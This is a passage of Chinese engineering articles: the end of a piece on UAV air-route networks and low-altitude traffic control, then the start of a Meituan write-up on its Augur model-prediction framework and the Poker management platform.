时我们也需要获取地理大数据的信息，比如通过地理大数据我们可以了解什么位置有

障碍物，哪些区域下方是草地等，根据这些信息可以进一步的提取一些信息，来规划

飞行器的航路、航路网等以及规划飞行器的航线。另外我们还可以通过移动互联网知

道哪些地方人口密集，这样在规划航路网或者航线的时候，就能避开这些人口密集的

地方。以上这些都是我们研究需要的时空大数据基础。

前面提到，网络是我们研究空中高速公路的基础，目前在空中交通，主要是通过网络

来分享信息。但是网络会有网络质量，那么网络质量与飞行安全是什么样的关系呢？

网络质量通常由三个因素决定：噪声，延迟，丢包（Packet Loss）。由于网络质量原

因，无人机获取到的障碍物位置，和障碍物实际的位置可能就不一样了。以下图为

例，无人机估计自身的位置产生了偏差，随之估计障碍物位置也发生了偏差。因此我

们需要设计一个飞行的安全距离，以应对网络质量造成的这种不确定性。这跟我们在

高速公路上开车需要保持车间距是一个道理，我们车间距这个概念用到无人机的空中

交通，希望以此来应对这些丢包延迟。当然也有人通过一些控制的方法来解决这些问

题，我们这种方法应该更适合交通的场景。
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传统的空中交通的距离没有这么复杂，飞机之间的距离间隔非常远，那么无人机之间

的距离应该怎么来控制呢？通过研究，我们认为无人机的安全半径应该满足上图中的

关系，rm 是飞行器本身的半径，ro 是障碍物本身的半径，rv 是跟飞行器速度以及机

动性相关的，re 表示网络的影响。网络影响怎么来理解？延迟丢包率是 Θ，如果丢

包率为 1 的话，那就表示飞机完全失联了。从保守角度来说，飞行器可能在任何位

置。所以 Θ 越接近于 1，安全半径越大，τd 表示延迟，网络传递会有延迟。有些同

学可能认为像我们现在打电话的延迟已经非常小了，但是在空中，我们通过实验证实

网络存在一定的延迟，另一方面丢包率会随着距离的增加而增加。因此，我们需要对

网络影响进行评估，根据评估结果设计飞行器安全半径。在安全半径下，可以认为飞

行器没有网络噪声，是完全精确的，只要保证两个飞行器的安全半径不相交，那么飞

机器肯定不会相撞，这就是我们安全半径的设计。

另一方面，我们需要通过一些数据做风险评估，如下图所示，至少有两个因素：事故

概率评估（fGIA）和事故伤亡评估。事故概率评估就是说飞行器不连续飞行就坠落的

可能性，可以通过统计方法预估。无人机相比于飞机的一个好处是，即使坠落也未必

会砸伤人。飞行器坠落有一个暴露模型，比如说掉落到树上或者房顶上对人的影响就

会比较小。因此我们需要有地理信息支撑，一旦飞行器需要迫降，我们可以通过地理
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信息找到比如草坪等适合迫降的地带。同时暴露模型也与人口密度相关。而伤害模型

与飞行器设计相关，与飞行器下落的动量相关。以上这些因素共同得到风险评估，可

以用来进行航路网规划、路径规划、紧急迫降等。制定相关标准，相关法律法规的部

门会比较关心飞行器的风险评估，一些风险评估公司也会基于风险评估结果去举证飞

行器的风险究竟有多大。

3. 空中高速公路

空中高速公路分为模型建立，算法设计，实验验证三部分为大家介绍。其中，模型建

立分为两种：航路网模型和无人机模型，我们管理无人机需要对无人机进行建模，而

地面也需要给无人机发送指令，这相当于一个标准的模型；算法方面可以分为集中式

空中交通控制和分布式空中交通控制，集中式可以认为所有的指令都是由地面站给飞

行器发的，飞行器之间互不通信，通信完全通过地面来协调，而分布式相对来说更加

灵活一些。最后是我们的仿真和实验。
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3.1	模型建立

3.1.1	航路网模型

航路网模型可以认为是节点和边构成的一个网络。我们的设计目标是不同航路的无人

机相互不干扰，保持安全距离。如果飞行器在不同航道上面，比如说一条公路上面有

两个方向，但不同航道上面的飞行器，需要保持相应的安全距离，类似两条路，它们

之间的夹角非常小，要往一个节点过去，如果夹角小到一定程度的话，那么不同航道

上的两个飞行器之间的距离就很近了，就可能会有危险。在实际过程中，我们无法得

知无人机的具体位置，只能知道一个大概的不是特别精准的位置，因此就需要无人机

之间保持安全距离。
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航路网建网需要对空域有了解，刚刚前面我们提到的地理信息，人口信息。如下图所

示，可以认为黑色区域为禁飞区，它有两种，一种是比较稀疏的，一种是比较密集

的。无论哪一种，都可以通过节点把它们连接在一起，这些节点可能是飞行器的起降

点，还有一些节点可能是航路的交叉点，就像公路的交叉路口一样。

航路网建网有两个优化目标，一是希望航路网的总长度越短越好，因为建设航路网，

这也相当于一个基建工程，需要保证航路网上面的通信、导航、监视，这些都需要成

本；二是希望航路网的风险最低，考虑到比如人口密度等因素，我们希望画出下图所

示的航路网，但是这是一个多目标的优化问题。

我们在航路网建模上做了一些工作，用了下图的几种方法。

 ● 首先是形态学骨架法，这个跟图像处理的骨架类似，给定一张图片需要生成它

的骨架。原理很简单，黑色是危险的边界，生成的骨架就是这些航路，航路和

两边的距离要尽可能的远。

 ● 其次是三角剖分法，连接 3 个点的最短路径不是把三个边连成一个三角形，可

能是通过费马点把它们连在一起。

 ● 最后是综合法，形态学骨架法适合密集的地图，而三角法更适合稀疏的地图，
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综合法兼顾密集与稀疏两种情况，通过半自动的方式建成航路网。

形态学骨架法的实现过程如下图所示，首先是骨架提取，有些同学可能会问为什么骨

架提取之后会产生这些变量，这是是因为我们要保证提取出来的骨架距离两边黑色危

险区的距离要大于一定的阈值，如果不满足的话，就要断开去除，之后再进行直线拟

合。当然还要在里面加入一些目标点，与整个网络连接在一起。最后需要提取图的结

构，把节点和边的关系按照图论的建模方式提取出来。
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三角剖分法就是通过费马点把这些节点连接在一起，有些边会穿过障碍物，我们再通

过优化方法避开，最后形成一个网络。另外，我们可以将人口密度等因素等效为黑色

禁飞区添加到地图中。通常在地图中，“1”表示有障碍物，“0”表示没有障碍物。我

们在航路网建模中做了一个进一步的工作，用 0 ～ 1 之间的概率来表示，有些禁飞区

比如墙等是绝对不能飞进去的，但是有些区域人口稀疏一些，就不适合用“1”来表

示，这种情况下可以使用 0.4、0.5 这样的概率来表示。我们希望能够通过这种方式

来构建航路网，这在下图中没有体现。

综合法就是在下图这种情况下，我们在障碍物密集区内部使用形态学骨架法来做，在

外部稀疏区使用费马点来做，最后把它们联立成网络。有时候我自己的学生会问我，

什么叫密集的，什么叫稀疏的？我觉得不要考虑这个问题，自己来判断，因为航路网

建模不是一定要完全自动化的过程，而且一旦建成之后以后就不需要改变了，所以在

建模的过程中需要人为的去确定每个区域的航路网是什么形状。这样就能很好的兼顾

上述两种方法，最终形成不同的航路网。
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下图是航道的抽象结构示意图，航道内部我们参考了目前的高速公路，中间有一个

隔离带，这个隔离带就是我们前面提到的两架飞行器之间的安全距离，它可以是双

向的。

另一方面，航路网的节点也有结构，如下图所示，我们一般是以圆柱形结构。节点有

多个航道相接，需要考虑不同航道的飞行器不能间隔太近，因此需要增加节点的半

径，确保不同航道的飞行器间隔足够远。
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航路网有抽象的结构，内部也有具体的结构，通过一些约束条件，确保不同飞行器在

任何情况下都能大于安全距离，这就让我们知道怎样去设计整个航路网。

3.1.2	无人机模型

我们需要对无人机发出指令，这就需要有一定的标准的接口，接口我们有一些模态比

如断电模态、等待授权模态、预位模态、飞行模态、避障模态、迫降模态给无人机发

指令，这样的话，无人机就相当于被我们的交通控制系统控制了。这个接口我们目前

还不是那么标准，我希望最终我们能有一套空中交通系统的标准。
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3.2	算法设计

低空交通控制算法包括集中式空中交通控制和分布式空中交通控制。

3.2.1	集中式空中交通控制

集中式控制可以分为两个部分：离线规划和在线控制。离线规划就是说飞机起飞前需

要申报自己的飞行计划，然后接受审核。如果当前的航路网非常堵塞的话，那么审核

就不会通过，就需要等待或者重新申报飞行计划。如果审核通过的话，就会产生一个

包含起飞时间、地点等信息的待飞计划，将待飞计划写入空中交通管理系统的数据库

中，进而对空中交通情况进行预测。

但是飞行器在飞行过程中受天气、本身状态等因素影响会有很多不确定性，飞行器的

飞行速度变化就会产生冲突。因此在飞行器飞行过程中，我们需要对飞机进行一些定

量的控制，这就是飞行器的在线控制。我们可以通过控制飞行器的高度、速度等，使

它能够避免冲突，如果在整个航路网中冲突无法避免，那么我们肯定不希望发生多米

勒骨牌一样的效应，因为局部一个因素，使整个航路网都发生变化。避免冲突最简单

的方法就是避障，一个飞行器向上飞，一个飞行器向下飞，这是空中交通的优势，汽

车没有办法做到，大概是这样一个逻辑。
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以下是基于集中式的低空交通控制系统中几个关键模块的算法过程：

计划审核求解算法

 ● 步骤一：获取新加入的无人机 i 的避障距离 ra 和计划信息合集 Ui；

 ● 步骤二：更新航路网信息 A 和当前时刻 t，通过 Dijkstra 算法得到无人机的航

路点 hi，并计算飞完全程所需的时间 Ti；

 ● 步骤三：对无人机 i 解优化问题；

 ● 步骤四：若有解则直接执行步骤五；若无解且原因是冲突问题，则判断与其发

生冲突的无人机们优先级 priorityk , k ∈ Ui ,collision 是否均小于自己。若是则

拒绝无人机 k 的申请后执行步骤五 ，否则拒绝无人机 i 的申请 ， 等待 Twait 时

长后执行步骤二；若无解且原因是容量问题， 则暂时先令超容对应的航路固定

容量为 0 ，再执行步骤二；其余情况均建议过 Twait 时长后执行步骤二 ；

 ● 步骤五：如果满足超时约束条件，则反馈无人机航路点和起飞时间；否则建议

过 Twait 时长后执行步骤二。
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冲突检测和流量控制求解算法

 ● 步骤一：获取预估时间 Tmax 和避障距离 ra ；

 ● 步骤二：更新航路网信息 A ，当前时刻 t ，所有已通过起飞授权的无人机信息 

Ui , i ∈ Uactive 。对已通过起飞授权的无人机进行冲突检测，若有冲突无人

机则输出发生冲突的无人机 Ui ,collision 和可能的冲突时间；否则执行步骤五；

 ● 步骤三：解优化问题；

 ● 步骤四：若有解则输出无人机在当前航路的新速度 V ni,cur-1,ni,cur,new；若

无解则输出事件刺激无人机启动自身防碰撞算法 ；

步骤五：间隔 Tmax 时长后 ，执行步骤二。

异常处理求解算法

考虑异常天气、交通管制等（外部因素）产生的冲突进行改航。
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 ● 步骤一：获取航路网信息 A，受影响的航路 Eban，受影响的节点 Vban，所有

已通过起飞授权的无人机计划信息 Ui ,i ∈ Uactive；

 ● 步骤二：将受影响的航路 Eban 和节点 Vban 剔除，更新航路网信息 A；

 ● 步骤三：通过比对计划信息 Ui ,i  ∈ Uactive 中的航路点 hi，筛选出受影响的

无人机集合 Uban，若 Uban = ф 则输出无影响并终止程序；否则执行步骤四；

 ● 步骤四：对受影响的无人机采用迪杰斯特拉算法，输出新的航路点 hi , i ∈ 

Uban 并更新 Ui , i ∈ Uban。

3.2.2	分布式空中交通控制

集中式空中交通控制系统中如果有某架飞行器要改变飞行计划，那么与之相关的所

有无人机都需要重新在线规划，更新飞行计划，且规划复杂度随飞机增加而增大。

因此，集中式框架计算复杂度太高了，我们希望有另一种框架。就像开车一样，我

们要导航去哪个地方，地图告诉我们从 a 到 b 点怎么走。这个规划是我们在开车之

前，地图就给我们设计好的。对于飞行器来说，起飞之前系统会根据空中交通情况

确定飞行计划，但一旦起飞之后，就由飞行器自主决定怎么做，这就是分布式整体

的框架。分布式框架把很多控制从地面站转移到了飞行器上，每个飞行器只管自己，

整体上是有组织的，但在飞行过程中，飞行器会按照一定协议，与其他飞行器避

障。这一部分我们提出一个概念叫 Sky Highway 空中高速公路，我们有一篇论文

《Sky Highway Design for Dense Traffic》简单的阐述了我们整个的思路，感兴

趣的同学可以看一下。

关于航路避障的话，飞机可以直接在航道上进行一些避障的飞行，为了增加整个航路

网的带宽，我们在节点处做了一些设计，比如说这个节点是为了改变方向的，我们也

希望飞行器能够直接通行，这样话就不用等待。如果是多个航道相交的话，这叫做交

叉节点，也就是交叉路口。平时我们经过交叉路口时，最常见的是红绿灯，但是红绿

灯就意味着飞机要在这里等待。所以目前我们采取了环岛结构，应对像红绿灯这种低

效率的等待策略。然后控制，我们大体上是像人工势场法这种思路来进行的，保证无

人机在航道里面往前飞行，同时又不卡死。人工势场法有一些缺点，有可能会导致卡

死，比如说我们大家都往一个点走，那可能谁都到达不了这个点，大家都想到达，但

https://arxiv.org/abs/2010.09159
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是无法同时到达，这就是卡死问题。我们目前把这些问题都解决了。然后还有环岛，

我们做了比较细的一些研究，飞行器都能进入航道，又能够顺畅的出去，这个环岛设

计算是我们的一个创新。

3.3	仿真与实验

最后来介绍一下我们的仿真，我们自己搭建了 MATLAB 的一个仿真环境，其中有航

路网信息，待审核无人机的信息，输入的禁飞区的信息等等，如下图所示：
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我们在实验室也做了一些相应的平台，用这种定位设施来做，如下图所示：
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4. 总结与展望

无人机空中交通或城市空中移动是大势所趋，无线网络和时空大数据是交通的基础，

同时交通设计也对网络提出了新需求。我们对空中高速公路做了一系列的工作：

 ● 设计了航路网模型和无人机模型、基于集中式的低空交通控制算法，以及最重

要的基于分布式的低空交通控制算法，在确保无人机安全飞行的前提下增大了

流量。

 ● 搭建了仿真和实验平台，并通过用例测试验证了基于集中式的低空交通控制算

法和基于分布式的低空交通控制算法的可行性。

 ● 未来我们希望继续在以下方面开展工作：

 ● 提升飞行状态预估算法效率。

 ● 机场高效调度。

 ● 固定翼飞行器的调度算法。

 ● 异构系统（旋翼机和固定翼混合空域）鲁棒性调度算法。

 ● 半物理仿真空管测试系统开发。

 ● 基于真实场景的飞行验证。

5. 作者简介



智能搜索模型预估框架Augur 的建设与实践

作者：朱敏　紫顺　乐钦　洪晨　乔宇　武进　孝峰　俊浩等

1. 背景

在过去十年，机器学习在学术界取得了众多的突破，在工业界也有很多应用落地。美

团很早就开始探索不同的机器学习模型在搜索场景下的应用，从最开始的线性模型、

树模型，再到近两年的深度神经网络、BERT、DQN 等，并在实践中也取得了良好

的效果与产出。

本文将与大家探讨美团搜索与 NLP 部使用的统一在线预估框架 Augur 的设计思路、

效果、优势与不足，希望对大家有所帮助或者启发。

搜索优化问题，是个典型的 AI 应用问题，而 AI 应用问题首先是个系统问题。经历

近 10 年的技术积累和沉淀，美团搜索系统架构从传统检索引擎升级转变为 AI 搜索引

擎。当前，美团搜索整体架构主要由搜索数据平台、在线检索框架及云搜平台、在线

AI 服务及实验平台三大体系构成。在 AI 服务及实验平台中，模型训练平台 Poker 和

在线预估框架 Augur 是搜索 AI 化的核心组件，解决了模型从离线训练到在线服务的

一系列系统问题，极大地提升了整个搜索策略迭代效率、在线模型预估的性能以及排

序稳定性，并助力商户、外卖、内容等核心搜索场景业务指标的飞速提升。

算法
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首先，让我们看看在美团 App 内的一次完整的搜索行为主要涉及哪些技术模块。如

下图所示，从点击输入框到最终的结果展示，从热门推荐，到动态补全、最终的商户

列表展示、推荐理由的展示等，每一个模块都要经过若干层的模型处理或者规则干

预，才会将最适合用户（指标）的结果展示在大家的眼前。

为了保证良好的用户体验，技术团队对模型预估能力的要求变得越来越高，同时模型

与特征的类型、数量及复杂度也在与日俱增。算法团队如何尽量少地开发和部署上
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线，如何快速进行模型特征的迭代？如何确保良好的预估性能？在线预估框架 Augur

应运而生。经过一段时间的实践，Augur 也有效地满足了算法侧的需求，并成为美团

搜索与 NLP 部通用的解决方案。下面，我们将从解读概念开始，然后再分享一下在

实施过程中我们团队的一些经验和思考。

2. 抽象过程：什么是模型预估

其实，模型预估的逻辑相对简单、清晰。但是如果要整个平台做得好用且高效，这就

需要框架系统和工具建设（一般是管理平台）两个层面的配合，需要兼顾需求、效率

与性能。

那么，什么是模型预估呢？如果忽略掉各种算法的细节，我们可以认为模型是一个函

数，有一批输入和输出，我们提供将要预估文档的相关信息输入模型，并根据输出的

值（即模型预估的值）对原有的文档进行排序或者其他处理。

纯粹从一个工程人员视角来看： 模型可以简化为一个公式（ 举例：f(x1,x2)= ax1 + 

bx2 +c ），训练模型是找出最合适的参数 abc。所谓特征，是其中的自变量 x1 与

x2，而模型预估，就是将给定的自变量 x1 与 x2 代入公式，求得一个解而已。（当然

实际模型输出的结果可能会更加复杂，包括输出矩阵、向量等等，这里只是简单的举

例说明。）

所以在实际业务场景中，一个模型预估的过程可以分为两个简单的步骤：第一步，特

征抽取（找出 x1 与 x2）；第二步，模型预估（执行公式 f，获得最终的结果）。
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模型预估很简单，从业务工程的视角来看，无论多复杂，它只是一个计算分数的过

程。对于整个运算的优化，无论是矩阵运算，还是底层的 GPU 卡的加速，业界和美

团内部都有比较好的实践。美团也提供了高性能的 TF-Serving 服务（参见《基于

TensorFlow Serving 的深度学习在线预估》一文）以及自研的 MLX 模型打分服务，

都可以进行高性能的 Batch 打分。基于此，我们针对不同的模型，采取不同的策略：

 ● 深度学习模型：特征多，计算复杂，性能要求高；我们将计算过程放到公司统

一提供的 TF-Serving/MLX 预估服务上；

 ● 线性模型、树模型：搜索场景下使用的特征相对较少，计算逻辑也相对简单，我

们将在构建的预估框架内部再构建起高性能的本机求解逻辑，从而减少 RPC。

这一套逻辑很简单，构建起来也不复杂，所以在建设初期，我们快速在主搜的核心业

务逻辑中快速实现了这一架构，如下图所示。这样的一个架构使得我们可以在主搜的

核心排序逻辑中，能够使用各类线性模型的预估，同时也可以借助公司的技术能力，

进行深度模型的预估。关于特征抽取的部分，我们也简单实现了一套规则，方便算法

同学可以自行实现一些简单的逻辑。
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3. 预估框架思路的改变

3.1	老框架的局限

旧架构中模型预估与业务逻辑耦合的方式，在预估文档数和特征数量不大的时候可以

提供较好的支持。但是，从 2018 年开始，搜索业务瓶颈开始到来，点评事业部开始

对整个搜索系统进行升级改造，并打造基于知识图谱的分层排序架构（详情可以参见

点评搜索智能中心在 2019 年初推出的实践文章《大众点评搜索基于知识图谱的深度

学习排序实践》）。这意味着：更多需要模型预估的文档，更多的特征，更深层次的模

型，更多的模型处理层级，以及更多的业务。在这样的需求背景下，老框架开始出现

了一些局限性，主要包括以下三个层面：

https://mp.weixin.qq.com/s/wjgoH6-eJQDL1KUQD3aQUQ
https://mp.weixin.qq.com/s/wjgoH6-eJQDL1KUQD3aQUQ
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 ● 性能瓶颈：核心层的模型预估的 Size 扩展到数千级别文档的时候，单机已经

难以承载；近百万个特征值的传输开销已经难以承受。

 ● 复用困难：模型预估能力已经成为一个通用的需求，单搜索就有几十个场景都

需要该能力；而老逻辑的业务耦合性让复用变得更加困难。

 ● 平台缺失：快速的业务迭代下，需要有一个平台可以帮助业务快速地进行模型

和特征的管理，包括但不限于配置、上线、灰度、验证等等。

3.2	新框架的边界

跟所有新系统的诞生故事一样，老系统一定会出现问题。原有架构在少特征以及小模

型下虽有优势，但业务耦合，无法横向扩展，也难以复用。针对需求和老框架的种种

问题，我们开始构建了新的高性能分布式模型预估框架 Augur，该框架指导思路是：

 ● 业务解耦，设定框架边界：只做特征抽取和模型预估，对预估结果的处理等业

务逻辑交给上层处理。
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 ● 无状态，且可以做到分布式模型预估，无压力支持数千级别文档数的深度模型

预估。

架构上的改变，让 Augur 具备了复用的基础能力，同时也拥有了分布式预估的能力。

可惜，系统架构设计中没有“银弹”：虽然系统具有了良好的弹性，但为此我们也付

出了一些代价，我们会在文末进行解释。

4. 预估平台的构建过程

框架思路只能解决“能用”的问题，平台则是为了“通用”与“好用”。一个优秀的

预估平台需要保证高性能，具备较为通用且接口丰富的核心预估框架，以及产品级别

的业务管理系统。为了能够真正地提升预估能力和业务迭代的效率，平台需要回答以

下几个问题：

 ● 如何解决特征和模型的高效迭代？

 ● 如何解决批量预估的性能和资源问题？

 ● 如何实现能力的快速复用并能够保障业务的安全？

下面，我们将逐一给出答案。
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4.1	构建预估内核：高效的特征和模型迭代

4.1.1	Operator 和 Transformer

在搜索场景下，特征抽取较为难做的原因主要包括以下几点：

 ● 来源多：商户、商品、交易、用户等数十个维度的数据，还有交叉维度。由于

美团业务众多，难以通过统一的特征存储去构建，交易相关数据只能通过服务

来获取。

 ● 业务逻辑多：大多数据在不同的业务层会有复用，但是它们对特征的处理逻辑

又有所不同。

 ● 模型差异：同一个特征，在不同的模型下，会有不同的处理逻辑。比如，一个

连续型特征的分桶计算逻辑一样，但“桶”却因模型而各不相同；对于离散特

征的低频过滤也是如此。

 ● 迭代快：特征的快速迭代，要求特征有快速在线上生效的能力，如果想要改动

一个判断还需要写代码上线部署，无疑会拖慢了迭代的速度。模型如此，特征

也是如此。

针对特征的处理逻辑，我们抽象出两个概念：

Operator：通用特征处理逻辑，根据功能的不同又可以分为两类：

 ● IO OP：用处理原始特征的获取，如从 KV 里获取数据，或者从对应的第三方

服务中获取数据。内置批量接口，可以实现批量召回，减少 RPC。

 ● Calc OP：用于处理对获取到的原始特征做与模型无关的逻辑处理，如拆分、

判空、组合。业务可以结合需求实现特征处理逻辑。

通过 IO、计算分离，特征抽取执行阶段就可以进行 IO 异步、自动聚合 RPC、并行

计算的编排优化，从而达到提升性能的目的。

Transformer：用于处理与模型相关的特征逻辑，如分桶、低频过滤等等。一个特

征可以配置一个或者多个 Transformer。Transformer 也提供接口，业务方可以根

据自己的需求定制逻辑。
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离在线统一逻辑：Transformer 是特征处理的模型相关逻辑，因此我们将 Trans-

former 逻辑单独抽包，在我们样本生产的过程中使用，保证离线样本生产与线上特

征处理逻辑的一致性。

基于这两个概念，Augur 中特征的处理流程如下所示： 首先，我们会进行特征抽取 ，

抽取完后，会对特征做一些通用的处理逻辑；而后，我们会根据模型的需求进行二次

变换，并将最终值输入到模型预估服务中。如下图所示：

4.1.2	特征计算DSL

有了 Operator 的概念，为了方便业务方进行高效的特征迭代，Augur 设计了一套弱

类型、易读的特征表达式语言，将特征看成一系列 OP 与其他特征的组合，并基于

Bison&JFlex 构建了高性能语法和词法解析引擎。我们在解释执行阶段还做了一系

列优化，包括并行计算、中间特征共享、异步 IO，以及自动 RPC 聚合等等。
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举个例子：

// IO Feature: binaryBusinessTime;  ReadKV 是一个 IO 类型的 OP
ReadKV('mtptpoionlinefeatureexp','_id',_id,'ba_search.platform_poi_
business_hour_new.binarybusinesstime','STRING')
// FeatureA : CtxDateInfo;   ParseJSON 是一个 Calc 类型的 OP
ParseJSON(_ctx['dateInfo']);
// FeatureB : isTodayWeekend 需要看 Json 这种的日期是否是周末 , 便可以复用  
CtxDateInfo  这个特征 ; IsWeekend 也是是一个 Calc 类型的 OP
IsWeekend(CtxDateInfo['date'])

在上面的例子中，ParseJSON 与 IsWeekend 都是 OP， CtxDateInfo 与 isToday-

Weekend 都是由其他特征以及 OP 组合而成的特征。通过这种方式，业务方根据自

己的需求编写 OP , 可以快速复用已有的 OP 和特征，创造自己需要的新特征。而在

真实的场景中，IO OP 的数量相对固定。所以经过一段时间的累计，OP 的数量会趋

于稳定，新特征只需基于已有的 OP 和特征组合即可实现，非常的高效。

4.1.3	配置化的模型表达

特征可以用利用 OP、使用表达式的方式去表现，但特征还可能需要经过 Transform-

er 的变换。为此，我们同样为模型构建一套可解释的 JSON 表达模板，模型中每一个

特征可以通过一个 JSON 对象进行配置，以一个输入到 TF 模型里的特征结构为例：
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// 一个的特征的 JSON 配置
{
    "tf_input_config": {"otherconfig"},
    "tf_input_name": "modulestyle",
    "name": "moduleStyle",
    "transforms": [                      // Transfomers：模型相关的处理逻辑，
可以有多个，Augur 会按照顺序执行
      {
        "name": "BUCKETIZE",             // Transfomer 的名称：这里是分桶
        "params": {
          "bins": [0,1,2,3,4]           // Transfomer 的参数
        }
      }
    ],
    "default_value": -1
}

通过以上配置，一个模型可以通过特征名和 Transformer 的组合清晰地表达。因此，

模型与特征都只是一段纯文本配置，可以保存在外部，Augur 在需要的时候可以动态

的加载，进而实现模型和特征的上线配置化，无需编写代码进行上线，安全且高效。

其中，我们将输入模型的特征名（tf_input_name）和原始特征名（name）做了区分。

这样的话，就可以只在外部编写一次表达式，注册一个公用特征，却能通过在模型的

结构体中配置不同 Transfomer 创造出多个不同的模型预估特征。这种做法相对节约

资源，因为公用特征只需抽取计算一次即可。
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此外，这一套配置文件也是离线样本生产时使用的特征配置文件，结合统一的

OP&Transformer 代码逻辑，进一步保证了离线 / 在线处理的一致性，也简化了上

线的过程。因为只需要在离线状态下配置一次样本生成文件，即可在离线样本生产、

在线模型预估两个场景通用。

4.2	完善预估系统：性能、接口与周边设施

4.2.1	高效的模型预估过程

OP 和 Transformer 构建了框架处理特征的基本能力。实际开发中，为了实现高性

能的预估能力，我们采用了分片纯异步的线程结构，层层 Call Back，最大程度将线

程资源留给实际计算。因此，预估服务对机器的要求并不高。

为了描述清楚整个过程，这里需要明确特征的两种类型：

 ● ContextLevel Feature：全局维度特征，一次模型预估请求中，此类特征是通

用的。比如时间、地理位置、距离、用户信息等等。这些信息只需计算一次。

 ● DocLevel Feature：文档维度特征，一次模型预估请求中每个文档的特征不

同，需要分别计算。

一个典型的模型预估请求，如下图所示：

Augur 启动时会加载所有特征的表达式和模型，一个模型预估请求 ModelScore-
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Request 会带来对应的模型名、要打分的文档 id（docid）以及一些必要的全局信

息 Context。 Augur 在请求命中模型之后，将模型所用特征构建成一颗树，并区分

ContextLevel 特征和 DocLevel 特征。由于 DocLevel 特征会依赖 ContextLevel

特征，故先将 ContextLevel 特征计算完毕。对于 Doc 维度，由于对每一个 Doc 都

要加载和计算对应的特征，所以在 Doc 加载阶段会对 Doc 列表进行分片，并发完成

特征的加载，并且各分片在完成特征加载之后就进行打分阶段。也就是说，打分阶段

本身也是分片并发进行的，各分片在最后打分完成后汇总数据，返回给调用方。 期间

还会通过异步接口将特征日志上报，方便算法同学进一步迭代。

在这个过程中，为了使整个流程异步非阻塞，我们要求引用的服务提供异步接口。

若部分服务未提供异步接口，可以将其包装成伪异步。这一套异步流程使得单机

（16c16g）的服务容量提升超过 100%，提高了资源的利用率。

4.2.2	预估的性能及表达式的开销

框架的优势：得益于分布式，纯异步流程，以及在特征 OP 内部做的各类优化（公用

特征 、RPC 聚合等），从老框架迁移到 Augur 后，上千份文档的深度模型预估性能

提升了一倍。

至于大家关心的表达式解析对对于性能的影响其实可以忽略。因为这个模型预估的耗

时瓶颈主要在于原始特征的抽取性能（也就是特征存储的性能）以及预估服务的性能

（也就是 Serving 的性能）。而 Augur 提供了表达式解析的 Benchmark 测试用例，

可以进行解析性能的验证。

_I(_I('xxx'))
Benchmark              Mode  Cnt  Score   Error  Units
AbsBenchmarkTest.test  avgt   25  1.644 ± 0.009  ms/op

一个两层嵌套的表达式解析 10W 次的性能是 1.6ms 左右。相比于整个预估的时间，

以及语言化表达式对于特征迭代效率的提升，这一耗时在当前业务场景下，基本可以

忽略不计。



算法　<　721

4.2.3	系统的其他组成部分

一个完善可靠的预估系统，除了“看得见”的高性能预估能力，还需要做好以下几个

常被忽略的点：

 ● 几个常被忽略的点： 预估时产出的特征日志，需要通过框架上传到公司日志中

心或者以用户希望的方式进行存储，方便模型的迭代。当然，必要的时候可以

落入本地，方便问题的定位。

 ● 方便问题的定位：系统监控不用多说，美团内部的 Cat& 天网，可以构建出完

善的监控体系。另一方面，特征的监控也很重要，因为特征获取的稳定性决定

了模型预估的质量，所以我们构建了实时的特征分布监控系统，可以分钟级发

现特征分布的异常，最大限度上保证模型预估的可靠性。

 ● 丰富的接口：除了预估接口，还需要有特征抽取接口、模型打分 Debug 接口、

特征表达式测试接口、模型单独测试接口、特征模型刷新接口、特征依赖检等

等一系列接口，这样才可以保证整个系统的可用性，并为后面管理平台的建设

打下基础。

Augur 在完成了以上多种能力的建设之后，就可以当做一个功能相对完善且易扩展的在
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线预估系统。由于我们在构建 Augur 的时候，设立了明确的边界，故以上能力是独立

于业务的，可以方便地进行复用。当然，Augur 的功能管理，更多的业务接入，都需要

管理平台的承载。于是，我们就构建了 Poker 平台，其中的在线预估管理模块是服务于

Augur，可以进行模型特征以及业务配置的高效管理。我们将在下一小节进行介绍。

4.3	建设预估平台：快速复用与高效管理

4.3.1	能力的快速复用

Augur 在设计之初，就将所有业务逻辑通过 OP 和 Transformer 承载，所以跟业务

无关。考虑到美团搜索与 NLP 部模型预估场景需求的多样性，我们还为 Augur 赋予

多种业务调用的方式。

 ● 种业务调用的方式。：即基于 Augur 构建一个完整的 Service，可以实现无状

态分布式的弹性预估能力。

 ● 布式的弹性预估能：Java 服务化版本中内置了对 Thrift 的支持，使不同语言的

业务都可以方便地拥有模型预估能力。

 ● 地拥有：Augur 支持同一个服务同时提供 Pigeon（美团内部的 RPC 框架）以

及 Thrift 服务，从而满足不同业务的不同需求。

 ● 不同业务的不同需：Augur 同样支持以 SDK 的方式将能力嵌入到已有的集群

当中。但如此一来，分布式能力就无法发挥了。所以，我们一般应用在性能要

求高、模型比较小、特征基本可以存在本地的场景下。

其中服务化是被应用最多的方式，为了方便业务方的使用，除了完善的文档外，我们

还构建了标准的服务模板，任何一个业务方基本上都可以在 30 分钟内构建出自己的

Augur 服务。服务模板内置了 60 多个常用逻辑和计算 OP , 并提供了最佳实践文档

与配置逻辑，使得业务方在没有指导的情况下可以自行解决 95% 以上的问题。整个

流程如下图所示：
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当然，无论使用哪一种方式去构建预估服务，都可以在美团内部的 Poker 平台上进

行服务、模型与特征的管理。

4.3.2	Augur 管理平台Poker 的构建

实现一个框架价值的最大化，需要一个完整的体系去支撑。而一个合格的在线预估平

台，需要一个产品级别的管理平台辅助。于是我们构建了 Poker（搜索实验平台），其

中的在线预估服务管理模块，也是 Augur 的最佳拍档。Augur 是一个可用性较高的

在线预估框架，而 Poker+Augur 则构成了一个好用的在线预估平台。下图是在线预

估服务管理平台的功能架构：

首先是预估核心特征的管理，上面说到我们构建了语言化的特征表达式，这其实是个

较为常见的思路。Poker 利用 Augur 提供的丰富接口，结合算法的使用习惯，构建
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了一套较为流畅的特征管理工具。可以在平台上完成新增、测试、上线、卸载、历史

回滚等一系列操作。同时，还可以查询特征被服务中的哪些模型直接或者间接引用，

在修改和操作时还有风险提示，兼顾了便捷性与安全性。

模型管理也是一样，我们在平台上实现了模型的配置化上线、卸载、上线前的验证、

灰度、独立的打分测试、Debug 信息的返回等等。同时支持在平台上直接修改模型

配置文件，平台可以实现模型多版本控制，一键回滚等。配置皆为实时生效，避免了

手动上线遇到问题后因处理时间过长而导致损失的情况。
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4.3.3	Poker	+	Augur 的应用与效果

随着 Augur 和 Poker 的成熟，美团搜索与 NLP 部门内部已经有超过 30 个业务方已

经全面接入了预估平台，整体的概况如下图所示：

预估框架使用迁移 Augur 后，性能和模型预估稳定性上均获得了较大幅度的提升。

更加重要的是，Poker 平台的在线预估服务管理和 Augur 预估框架，还将算法同学

